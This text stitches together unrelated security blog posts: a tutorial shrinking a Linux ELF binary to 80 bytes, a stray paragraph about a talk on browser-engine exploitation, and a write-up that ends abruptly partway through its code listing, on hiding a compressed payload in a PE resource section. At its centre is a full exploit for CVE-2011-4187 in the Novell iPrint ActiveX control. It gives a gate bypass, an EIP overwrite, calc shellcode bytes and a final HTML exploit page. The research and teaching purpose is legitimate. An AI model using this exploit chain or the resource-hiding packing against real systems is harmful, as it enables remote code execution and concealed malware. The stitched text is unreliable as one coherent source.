We all now programming languages are converted to assembly language by the compiler during the compilation process and the code can even be optimized automatically. The output may result in more instructions than needed for our task.

Let’s re-write our code in assembly language!

section .data
    msg:    db "Hello world", 33, 10, 0
    format: db "%s", 10, 0

section .text
    global main

main:
    extern printf
    push rbp
    mov rbp, rsp
    mov rdi, msg
    call printf
    pop rbp
    ret

We assemble the code with nasm then link the object with gcc then run it.

$ nasm -f elf64 smallest_elf.asm && gcc smallest_elf.o -o smallest_elf.bin -no-pie
$ ./smallest_elf.bin
Hello world!

New size: 14368 bytes.

We only reduced our file size by 104 bytes by completely rewriting it in assembly. Why?

Well by giving the assembled code object to gcc we only told it what the .text content should look like, but all the other sections and additional data are still here. In order to get rid of it, we will have to link our binary ourselves, getting rid of gcc routines.

Getting straight to the point

We have rewritten the whole file in assembly and compiling it with GCC, but we’re kind of stuck here. How do we reduce the size even more? Maybe trying another compiler? Reducing code even more?

Let’s get straight to the point: we need the program to display “Hello world!”, that’s it. We don’t want external dependencies like the printf() function.

Let’s rewrite the whole assembly code and remove all external references and symbols!

Removing external references

We will make the following changes to our assembly code:

• Removing any call to external functions like printf(). Instead, we’ll use direct system calls like write() and exit().
• Removing references to a “main” function, we don’t need that, we don’t need “functions” in our program.
• Removing prologues, epilogues, and stack frames: yes, those useless bytes at the beginning and end of our code, why would we need them here?
• The whole code will be strictly about printing our buffer and exiting the program.

global _start

section .data
        msg:    db "Hello world", 33, 10, 0

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit

Get rid of compilers

We don’t have any C code anymore, why would we even need a compiler? Let’s get rid of gcc and directly link the code ourselves.

$ nasm -f elf64 smallest_elf.asm
$ ld -m elf_x86_64 smallest_elf.o -o smallest_elf.bin

Let’s run it and check:

$ ./smallest_elf.bin
Hello world!

With the rewritten assembly code and linking without using any compiler, we reduced the size to 8488 bytes.

New size: 8488 bytes.

Get rid of the data section

We initially put our “Hello world!” string in the .data section, but at this point we’re not following any convention and we’ll just remove the .data section to put our string directly inside the .text code section. Yeah it’s a bit weird but don’t worry, it will work.

global _start

section .text

_start:
        mov rdi, 1      ; standard output
        mov rsi, msg    ; buffer to print
        mov rdx, 14     ; size of the buffer

        mov rax, 1      ; set write syscall

        syscall         ; call write

        mov rdi, 0      ; value to return
        mov rax, 0x3C   ; set exit syscall

        syscall         ; call exit
msg:
        db      "Hello world", 33, 10, 0

Doing this small manipulation, we manage to divide by two the last size of the binary!

New size: 4360 bytes.

Analysing the situation

We did pretty much everything we could to reduce the binary size:

• Writing directly assembly code
• No external function, no stack frames, only code section
• No compiler, directly linking
• Stripping the symbols

At this point, there isn’t much more we can do in a conventional way to reduce the binary size. By the way, why is it still that big?

We can notice through readelf command that our binary still has a lot of stuff inside of it. We have the .shstrtab section header, and a huge amount of empty space, because some tables and sections have been encoded as “empty spaces” filled with null bytes in the binary.

Nearly 92% of our binary is filled with useless empty spaces.

Check the binary composition with readelf -a smallest_elf.bin and the actual data in hexadecimal with xxd smallest_elf.bin. Notice all the zero bytes.

Going further

Some step in the linking process will produce this kind of ELF binary filled with a lot of empty space, that will simply increase our binary size.

Now we will have to build our binary ourselves, manually, without relying on the assembler or the linker.

Identifying the needed information

There is a lot of useless information in our binary so let’s start by identification strictly what we need:

• The ELF header, otherwise it would not be considered an an ELF by the system and could not be loaded
• Our actual code

This portion at the beginning is our header:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..>.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........

And this portion is our code:

00001000: bf01 0000 0048 be27 1040 0000 0000 00ba  .....H.'.@......
00001010: 0e00 0000 b801 0000 000f 05bf 0000 0000  ................
00001020: b83c 0000 000f 0548 656c 6c6f 2077 6f72  .<.....Hello wor
00001030: 6c64 210a 00                             ld!..

And that’s it, we don’t really care what all the remaining is.

Let’s manually construct our new binary with only these two blocks of data. Use any method you like to do that, I used simple Linux commands.

$ head -c 120 smallest_elf.bin > new_smallest_elf.bin.header # extract header
$ tail -c 264 smallest_elf.bin > tmp.bin # extract end of file starting from our code
$ head -c 53 tmp.bin > new_smallest_elf.bin.code # extract our code from it
$ cat new_smallest_elf.bin.header new_smallest_elf.bin.code > new_smallest_elf.bin # assemble both blocks into one final ELF executable

So this is what we get:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 0010 4000 0000 0000  ..>.......@.....
00000020: 4000 0000 0000 0000 4810 0000 0000 0000  @.......H.......
00000030: 0000 0000 4000 3800 0200 4000 0300 0200  ....@.8...@.....
00000040: 0100 0000 0400 0000 0000 0000 0000 0000  ................
00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be27  .............H.'
00000080: 1040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........<.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a 00         ello world!..

Obviously, a lot of information from the headers is inaccurate since we modified the whole structure of the file and the program will not execute:

$ ./new_smallest_elf.bin
-bash: ./new_smallest_elf.bin: cannot execute binary file: Exec format error

Let’s check what’s happening with readelf:

$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401000
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4168 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         2
  Size of section headers:           64 (bytes)
  Number of section headers:         3
  Section header string table index: 2
readelf: Error: Reading 192 bytes extends past end of file for section headers
readelf: Error: Section headers are not available!
readelf: Error: Reading 112 bytes extends past end of file for program headers

There is no dynamic section in this file.
readelf: Error: Reading 112 bytes extends past end of file for program headers

Several issues identified here:

• Entry point address incorrect: our new code starts at offset 0x78, not 0x1000.
• Start of section headers incorrect: we do not have any section header, this should be zero.
• Number of program headers incorrect: we only have 1 program header and not 2.
• Size of section headers incorrect: we do not have any section header, this should be zero.
• Number of section headers incorrect: we do not have any section header, this should be zero.
• Section header string table index: we do not have any section header, this should be zero.

We also need to adjust several stuff in the program header:

• Virtual address of program needs to be changed from 0x400000 to 0x400078 because this is where our program starts. Not aligned? We don’t care.
• Permissions of the segment in the program header is read-only (0x004) and needs to be readable, writable and executable for simplicity (0x007).

We manually apply all those modification directly through a hexadecimal editor and run readelf again:

$ readelf -a new_smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

There are no section groups in this file.

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000078 0x0000000000400078 0x0000000000400000
                 0x00000000000000b0 0x00000000000000b0  RWE    0x1000

There is no dynamic section in this file.

There are no relocations in this file.
No processor specific unwind information to decode

Dynamic symbol information is not available for displaying symbols.

No version information found in this file.

This time, no error. But we still need to adjust one small detail inside our actual code. Indeed, we assembled the code before making all those modifications and we are calling the write function: write(1, buffer, 13);

Indeed, the “Hello world!” buffer is no longer located at offset 0x1027, the new offset is 0x9f.

Here is the final modified binary (modified bytes versus the previous dump):

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 bf01 0000 0048 be9f  .............H..
00000080: 0040 0000 0000 00ba 0e00 0000 b801 0000  .@..............
00000090: 000f 05bf 0000 0000 b83c 0000 000f 0548  .........<.....H
000000a0: 656c 6c6f 2077 6f72 6c64 210a            ello world!.

Let’s test it now:

./new_smallest_elf.bin
Hello world!

New size: 172 bytes.

We have hit a new record by reducing our initial program size from 16704 to only 172 bytes.

We could call it a day, but hey, can we actually do better?

Going even further

Let’s try to shrink even more our executable. But in order to do that, let’s modify a little bit the initial exercise. We no longer need to display “Hello world!” string, but just compile any ELF executable, smallest as possible.

In order to be considered a valid executable:

• It must execute at least one assembly instruction
• It must not crash

Let’s take our functional header and remove all the custom code at offset 0x78. We will append new code there.

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........

Smallest possible code

Considering the previous conditions, our new code must include a routine to properly exit the program. We could try something like this:

mov rax, 0x3C   ; set exit syscall
syscall         ; call exit

Yes, we did omit the rdi register containing the value to be returned by the program. We don’t really care, the return value is not a condition. We’ll let the program return whatever will be in the register.

Once converted to opcodes we get b8 3c 00 00 00 0f 05, so 7 bytes. Instead of using a mov instruction, let’s use push and pop for the same result.

push 0x3C       ; set exit syscall
pop rax
syscall         ; call exit

This gets us the opcodes 6a 3c 58 0f 05 (5 bytes) which is slightly better, we’ll stick with that one. Let’s append it to our header and run it!

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 6a3c 580f 05         ........j<X..

We notice that the program runs fine and even returns the default zero value.

$ ./smallest_elf_v2.bin
$ echo $?
0

New size: 125 bytes.

Going beyond the documentation

Actually we can still save a few bytes by taking advantage of the fact that some portions of the header will not be verified upon execution. For example the 7-bytes “padding” after the magic byte or the last elements of the ELF header.

First, let’s move our actual code, from the end of the program, directly inside the padding of the ELF header, and update the offsets accordingly. It will no longer be located at 0x78, but 0x08.

Then, let’s overlap the ELF header and the program header at the very end of the ELF header, by starting the program header at offset 0x38 instead of 0x40. This works because the original overwritten data is 0100 0000, and our program header starts with 0100 0000 as well.

Which gives us the following binary:

00000000: 7f45 4c46 0201 0100 6a3c 580f 0500 0000  .ELF....j<X.....
00000010: 0200 3e00 0100 0000 0800 4000 0000 0000  ..>.......@.....
00000020: 3800 0000 0000 0000 0000 0000 0000 0000  8...............
00000030: 0000 0000 4000 3800 0100 0000 0700 0000  ....@.8.........
00000040: 0800 0000 0000 0000 0800 4000 0000 0000  ..........@.....
00000050: 0000 4000 0000 0000 b000 0000 0000 0000  ..@.............
00000060: b000 0000 0000 0000 0010 0000 0000 0000  ................

New size: 112 bytes.

Tricks and more tricks

The previous idea of overlapping the two headers can actually be applied to a larger scale.

The range from 0x18 to 0x40 can actually contain both ELF header and program header overlapped. The values that can be modified without impacting the program’s functionality are in bold.

By modifying the image address of our program and relocating our code right after the magic number, we get this executable of 80 bytes:

00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj<X.........
00000010: 0200 3e00 0100 0000 0100 0000 0100 0000  ..>.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0100 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................

What we notice first is that most tools are lost with this binary. The Linux file command can only tell that this is an ELF, and readelf doesn’t like it either.

$ file smallest_elf.bin
smallest_elf.bin: ELF (AROS Research Operating System), unknown class 106

$ readelf -a smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 6a 3c 58 0f 05 00 00 00 00 00 00 00
  Class:                             <unknown: 6a>
  Data:                              <unknown: 3c>
  Version:                           88 <unknown>
  OS/ABI:                            AROS
  ABI Version:                       5
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x1
  Start of program headers:          1 (bytes into file)
  Start of section headers:          24 (bytes into file)
  Flags:                             0x0
  Size of this header:               24 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 1 <corrupt: out of range>
readelf: Warning: possibly corrupt ELF file header - it has a non-zero section header offset, but no section headers

There are no sections to group in this file.

There is no dynamic section in this file.

Same thing for GDB debugger, it doesn’t recognize this file and refuses to debug it: not in executable format: file format not recognized.

But all things considered, this program actually runs fine and respects all our conditions:

# Normal run
$ ./smallest_elf.bin
$ echo $?
0

# Checking with strace
$ strace ./smallest_elf.bin
execve("./smallest_elf.bin", ["./smallest_elf.bin"], 0x7fffd6fb2730 /* 25 vars */) = 0
exit(0)                                 = ?
+++ exited with 0 +++

New size: 80 bytes.

Just for the art, let’s clean up the executable by setting to zero all bytes that are not needed.

00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj<X.........
00000010: 0200 3e00 0000 0000 0100 0000 0100 0000  ..>.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0000 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................

Is it the end?

We have probably reached the limits of the ELF 64 bits format, we produced the smallest 64 bits ELF possible that does not crash upon execution and correctly exits with a 0 status code.

Final size: 80 bytes.

Final binary:

7f454c46 6a3c580f 05000000 00000000 02003e00 00000000 01000000
01000000 18000000 00000000 18000000 01000000 00000000 00003800
01000000 00000000 01000000 00000000 00000000 00000000

The talk below walks through the general methodology of approaching such an engine for offensive research: how to read the relevant parts of a multi-million-line C++ codebase, how to recognise the primitive shapes that lead to addrof / fakeobj, and how those primitives compose into a renderer-RCE chain.

It was given in French at the Quarks in the Shell 2023 conference, organised by Quarkslab.

For the written, generalized version of this material across JavaScriptCore and V8, see Exploiting JavaScript engines: from type confusion to code execution.

CVE-2011-4187

Stack buffer overflow in IppGetDriverSettings2 (nipplib.dll, Novell iPrint Client < 5.78). Reachable from a web page via the iPrint ActiveX controller (CLSID 36723F97-7AA0-11D4-8919-FF2D71D0D32C) on Windows XP. No public exploit at the time of research.

Target

The starting point was a CVE number and a one-line summary on cvedetails:

Buffer overflow in the GetDriverSettings function in nipplib.dll in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.

No public exploit, almost no third-party write-up. The client only installs on Windows XP, so the whole engagement runs on a Windows XP SP3 VM with a Windows 10 SDK box for tooling.

The iPrint client ships an ActiveX controller. The CLSID can be retrieved by searching the registry for Novell iPrint:

The controller is implemented in ienipp.ocx (in C:\Windows\system32\), with the heavy lifting delegated to nipplib.dll in the same directory. Browsing ienipp.ocx with the OLE/COM Object Viewer from the Windows 10 SDK lists the public methods, including GetDriverSettings (the named CVE target) and a GetDriverSettings2 variant.

The controller can be instantiated and invoked from an HTML page in Internet Explorer:

<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings("uri", "realm", "user", "password");
</script>
</html>

A quick sanity check using the controller’s ShowMessageBox method confirmed the CLSID and the call convention before going further.

Reaching the vulnerable function

Loading ienipp.ocx in IDA (it auto-pulls nipplib.dll) and following xrefs to IppGetDriverSettings2 lands on a single call site at ienipp.ocx:0x1000AE54. The block leading to that call enforces several conditions:

The first gate is a length check on each of the four method parameters (printerUri, realm, userName, password). Anything above 0x100 bytes per parameter aborts before the call. The second gate is a function called sub_1000FBD0 (renamed important_check) whose return value selects the next jump:

important_check is a thin wrapper around IppMgmtGetServerVersion2, exported by nipplib.dll. The wrapper returns 0 (which the callsite treats as success and proceeds to the vulnerable call) when IppMgmtGetServerVersion2 itself returns 0.

IppMgmtGetServerVersion2 is a one-line forwarder to sub_5C04B514, where the actual logic lives:

A first-pass reading suggests this function performs the IPP server handshake on port 631 and only succeeds when a real server replies correctly. That would mean emulating an IPP server before any vulnerability work is possible. Reading the CFG without that assumption reveals a more useful structure.

The first conditional jump branches on IppCreateServerRef’s return value:

If IppCreateServerRef returns NULL, control flow lands directly on a mov eax, 0; ret block. The function returns 0, which is the success code for IppMgmtGetServerVersion2. An allocation/setup failure is being treated as a successful version probe. The IPP handshake never runs, no port 631, no negotiation. The vulnerable call site is reached as long as IppCreateServerRef fails, which is the opposite of what the rest of the function is trying to achieve.

Forcing IppCreateServerRef to fail

IppCreateServerRef calls a helper sub_50022960 and propagates its return value: non-zero from the helper means failure for IppCreateServerRef, which is what is needed.

sub_50022960 performs two length checks on the printerUri argument. The first is on the total URL length (capped at 0x200), but that ceiling is already enforced upstream by the per-parameter 0x100 cap, so it cannot be tripped here without violating the upstream gate. The second check, located further into the function, validates the length of the substring preceding ://:

If that prefix exceeds 0x100 bytes, the function fails. The constraint is therefore:

• prefix before :// must be longer than 0x100 bytes (to fail sub_50022960),
• total URL length must stay under 0x200 bytes (to pass the ienipp.ocx per-parameter gate).

A URL of the form <260-byte garbage>://<short-suffix> satisfies both. With this, IppCreateServerRef returns NULL, IppMgmtGetServerVersion2 returns 0, important_check returns 0, and IppGetDriverSettings2 is invoked with attacker-controlled arguments.

The buffer overflow

IppGetDriverSettings2 itself contains one more gate before any vulnerable code: an strstr looking for the literal iPrint-driver-profile-hiddenPA inside the URL.

Including that substring in the URL passes the check. There is presumably a legitimate reason for it inside the driver profile flow; for the purpose of reaching the bug it is enough to embed it in the suffix.

Past that gate, the realm parameter is fed unchecked into a strcpy whose destination is a fixed-size stack buffer:

A realm of, say, 0x180 bytes overflows the buffer well into the saved return address territory.

Exploitation

Crashing on the saved EIP

The first crash, with realm filled with As up to the upstream cap, lands inside a strlen:

The overflow happened, but execution has already corrupted a pointer (EBX) used by a later function in the same frame, before the function returns. The crash is on a downstream consumer, not on the saved EIP.

The remedy is a shorter realm. The buffer is overrun precisely up to the saved EIP, no further:

EIP is now under control. There are no DEP/ASLR concerns to discuss on Windows XP SP3 in this configuration.

Placing a shellcode

The realm field is too constrained to host both the EIP overwrite and a shellcode. The other method parameters, however, are pushed on the stack ahead of realm and are not subject to the same downstream processing. userName is the natural carrier.

A pop-calc shellcode for Windows XP SP3 EN (shell-storm 739):

"\x31\xC9"             // xor ecx,ecx
"\x51"                 // push ecx
"\x68\x63\x61\x6C\x63" // push 0x636c6163  ('calc')
"\x54"                 // push esp
"\xB8\xC7\x93\xC2\x77" // mov  eax, 0x77c293c7
"\xFF\xD0"             // call eax

xxd -p -r is enough to splice the bytes into the HTML payload’s userName argument.

Reading the shellcode address

Running a non-malicious payload (long realm prefix to satisfy the bypass, but no overflow on realm) and breakpointing on IppGetDriverSettings2 exposes its arguments on the stack. The third argument (userName) holds the buffer address:

0x02843728 for this run. The Windows XP SP3 process layout is stable enough across launches that this address holds for the next call as long as the process is not restarted.

Final payload

Replacing the 0x41414141 filler at the saved-EIP offset with 0x02843728 (little-endian) redirects execution into the shellcode after the ret:

<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings(
  "<260-byte garbage>://iPrint-driver-profile-hiddenPA",
  "<padding up to saved EIP><\x28\x37\x84\x02>",
  "<calc shellcode bytes>",
  "A");
</script>
</html>

Loading the page in Internet Explorer:

Arbitrary code execution from a single HTML page, no IPP server.

Failed paths

Two earlier attempts did not reach the result and are worth recording.

Emulating the IPP server

Before noticing the IppCreateServerRef-fails-as-success path, the obvious approach was to make IppMgmtGetServerVersion2 succeed legitimately by serving the requests it issues to port 631. Capturing the request with nc -lvp 631 showed:

POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
User-Agent: Novell iPrint Client - v05.74.00
Content-type: application/ipp
...

@G..attributes-charset.utf-8.H..attributes-natural-language.en-us.D.operation-name.get-server-version.server-version.1.1

Reverse of the response-validation function (nipplib.5C0450B3) listed the constraints: a 2-byte version-number that must be 0x100 or 0x101, a valid IPP HTTP header (taken verbatim from a CUPS server’s reply), and a server-version attribute located via IppFindAttributeInSet. Encoding the attribute group correctly required reading RFC 8010. The reply parsed up to a point, but every iteration crashed inside a strlen on a NULL argument, suggesting another mandatory attribute or data field that was not being supplied. The path was abandoned when the logic-bug shortcut surfaced.

Overflowing the ciphertext, not the cleartext

While searching for the right realm length, a shorter input did not overflow the saved EIP directly but did corrupt it through a second buffer. A function downstream of the strcpy runs the realm value through an internal block cipher (8-byte blocks, key in .data, output written via sprintf("%02hhX", b) into a separate stack buffer that is twice the input length). When the input is short enough to bypass the first overflow and long enough to overrun the ciphertext buffer, EIP is controlled, but only via the hex-string output of sprintf.

The cipher was small enough to port to C and run offline, with the seed key recovered from memory:

unsigned int shift_on_key(unsigned int tmp_bloc) {
    unsigned int idx;
    unsigned int s1, s2, s3, s4;

    idx = ((tmp_bloc >> 24) & 0xff) * 4 + 0x048;
    s1  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc >> 16) & 0xff) * 4 + 0x448;
    s2  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc >>  8) & 0xff) * 4 + 0x848;
    s3  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx =  (tmp_bloc        & 0xff) * 4 + 0xc48;
    s4  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    return (((s2 + s1) ^ s3) + s4);
}

/* get_new_key derives (key_part1, key_part2) from the previous key
   through 18 rounds of shift_on_key + xor with the static key blocs. */

int main(int argc, char **argv) {
    char *entry = argv[1];
    int i = 0;
    get_new_key(key, the_key);
    while (entry[i]) {
        for (int b = 0; b < 8; b++) {
            unsigned int kpart = (b < 4) ? key_part1 : key_part2;
            unsigned int sh    = (3 - (b & 3)) * 8;
            if (entry[i]) newbuf[i] = entry[i] ^ ((kpart >> sh) & 0xff);
            i++;
        }
        /* feed back the swapped output bloc as the next "old key" and re-derive */
        ...
        get_new_key(key, the_key);
    }
    /* hex-encode newbuf into realbuf with sprintf("%02hhX", ...) */
}

A search produced an input ending in \xAA\xAA, whose hex encoding is "AAAA", giving EIP = 0x41414141:

./a.out $(python -c 'print "B"*132 + "\x43\x90"')
... 3CCAF8EFDA95CFDA49177C2EAAAA

EIP control via the ciphertext path is real, but the path is dead. sprintf("%02hhX", b) emits two ASCII hex digits per byte, so each EIP byte is constrained to 0x30..0x39 or 0x41..0x46. No address in the loaded modules or on the stack falls in that alphabet, and the shellcode has no leverage to encode arbitrary bytes through the cipher. The longer-payload approach above sidesteps this entirely.

Takeaways

• Error and allocation paths are often the most valuable to read carefully. The IppCreateServerRef-returns-NULL branch was a complete bypass of the protocol-handshake gate, and it was visible in the CFG without any dynamic analysis.
• Length caps distributed across binaries can be played against each other. The upstream 0x200 cap on the URL is what made the inner 0x100 prefix check trippable.
• A failed exploitation path is still worth reproducing far enough to understand why it fails. Recovering the realm-cipher in C produced a clean structural reason to drop the path, rather than a vague “didn’t work”.
• On systems without DEP/ASLR, the gap between EIP control and arbitrary code execution is mostly bookkeeping. The harder problem in this CVE was reaching the vulnerable function at all.

This post walks through that technique, resource dropping, from the analyst’s seat. To recover a payload that a packer stashed in the .rsrc section, you have to understand exactly how it got there, so we reconstruct the full chain: we hide a small binary inside a carrier, then write the unpacker that finds it, extracts it, and decompresses it back into memory. The recovery side is the point; the packing side is shown so you can recognise and reverse it.

We work with 64-bit PE (PE32+) binaries throughout, and we compile everything on Linux with mingw. The principle is identical for 32-bit (PE32). We will not re-explain what a packer is or detail the PE format here; the Wikipedia page on PE is excellent.

Prerequisites

To follow along and reproduce the work:

• A relatively recent Linux system.
• The usual build tools (gcc, make).
• The mingw cross-compiler and windres (the gcc-mingw-w64-x86-64 package on Ubuntu 20.04).
• The zlib1g-dev package.
• readpe (pev) to inspect PE sections.
• A text editor.

Unlike kernel work, nothing here puts your system at risk: it all compiles and runs as ordinary user-land code.

Vocabulary

A few terms are used precisely throughout:

• Binary: a compiled object, such as an executable or a library.
• Payload: a piece of code or data necessary and sufficient to carry out some action inside a process, often malicious.
• Packing / unpacking: respectively, encrypting, compressing, or hiding a binary or payload, and the reverse, decrypting, decompressing, or revealing it.
• Packer / unpacker: the software (or the act) that performs packing and unpacking.

How the payload is hidden

Some packers and malware families hide secret code inside an executable that looks harmless at a glance. One way to do this is to store a payload, or an entire second executable, directly in the resource section (.rsrc) of the carrier binary, usually compressed and often encrypted. When the carrier runs, that hidden binary is unpacked in memory and used in the rest of the unpacking chain.

To recover such a payload we first need to understand how it was placed there. So we build the packing side ourselves: hide a small binary inside a carrier’s resources, then retrieve and decompress it in memory. This is one method among many; real samples vary.

The payload to hide

The hidden binary is deliberately trivial. What it does is irrelevant; what matters is how it is concealed and recovered. So it is just a program that prints Hello!.

#include <stdio.h>

int main(void)
{
    printf("Hello !\n");

    return 0;
}

We compile it as a PE32+ executable with mingw:

$ x86_64-w64-mingw32-gcc hidden.c -o hidden.exe
$ file hidden.exe
hidden.exe: PE32+ executable (console) x86-64, for MS Windows

Compressing the payload

Before embedding it, the packer compresses the binary. Here we use zlib’s compress2() at maximum level. The program below reads a file, compresses it, and writes the result to compressed_binary.

#include <zlib.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>

int main(int ac, char **av)
{
    if (ac != 3) {
        printf("Usage: %s <src_file> <size_of_file>\n", av[0]);
        return EXIT_FAILURE;
    }

    /* input */
    char *clear_filename = av[1];
    int src_size = atoi(av[2]);
    char *clear = (char *)malloc(sizeof(char) * src_size);

    /* output */
    char *compressed = (char *)malloc(sizeof(char) * src_size);
    uLongf dst_size;

    /* reading and compression */
    int fd_rd = open(clear_filename, O_RDONLY);
    read(fd_rd, clear, src_size);
    close(fd_rd);
    compress2((Bytef *)compressed, &dst_size, (Bytef *)clear, (uLong)src_size, 9);

    /* writing */
    int fd_wr = open("compressed_binary", O_WRONLY | O_CREAT, 0444);
    write(fd_wr, compressed, dst_size);
    close(fd_wr);

    return EXIT_SUCCESS;
}

Reading it through: the program takes the file name and its size in bytes as arguments. It allocates a clear buffer for the source data and a compressed buffer for the output, with dst_size receiving the final compressed length. It reads the source with open() and read(), then calls zlib’s compress2(), whose prototype is:

int compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level);

• dest: where the compressed data is written.
• destLen: where the compressed size in bytes is written.
• source: where the data to compress is read from.
• level: compression level, 9 being the maximum.

Finally it writes the compressed bytes to compressed_binary. Compile against zlib (-lz) and run it:

gcc compress.c -o compress -lz

ls -l hidden.exe
# -rwxrwxr-x 1 ech0 ech0 316853 avril 13 23:55 hidden.exe

./compress hidden.exe 316853

file compressed_binary
# compressed_binary: zlib compressed data

The payload compressed cleanly, shrinking from 316853 to 89766 bytes. Size reduction is a side effect; the real goal is to stash the binary in the resources.

Embedding it as a resource

With the compressed payload ready, we describe it to windres with a resource (.rc) file:

IDR_RCDATA0 RCDATA compressed_binary

The syntax is straightforward:

• IDR_RCDATA0: the resource name.
• RCDATA: the resource type (raw data).
• compressed_binary: the file to include as a resource.

Then windres turns the .rc file into a COFF object (a Windows object file) we can link in:

x86_64-w64-mingw32-windres compressed_binary.rc -O coff -o compressed_binary.rc.o

At this point the working directory looks like this:

.
├── compress
├── compress.c
├── compressed_binary
├── compressed_binary.rc
├── compressed_binary.rc.o
├── hidden.c
└── hidden.exe

0 directories, 7 files

The resource is ready. Everything from here is the recovery side: the code that finds this embedded resource, pulls it out, and decompresses it in memory.

Recovering the payload

The unpacker is itself a PE32+ binary, since this is the code that runs on the target and recovers the dropped payload from its own resources.

Finding and extracting the resource

Recovery uses three Windows API calls: FindResourceA, LoadResource, and LockResource. The Microsoft documentation covers them in full, so here is just the code that pulls a resource out of the binary’s own .rsrc section:

#include <windows.h>

int main(void)
{
    HRSRC   hRes;
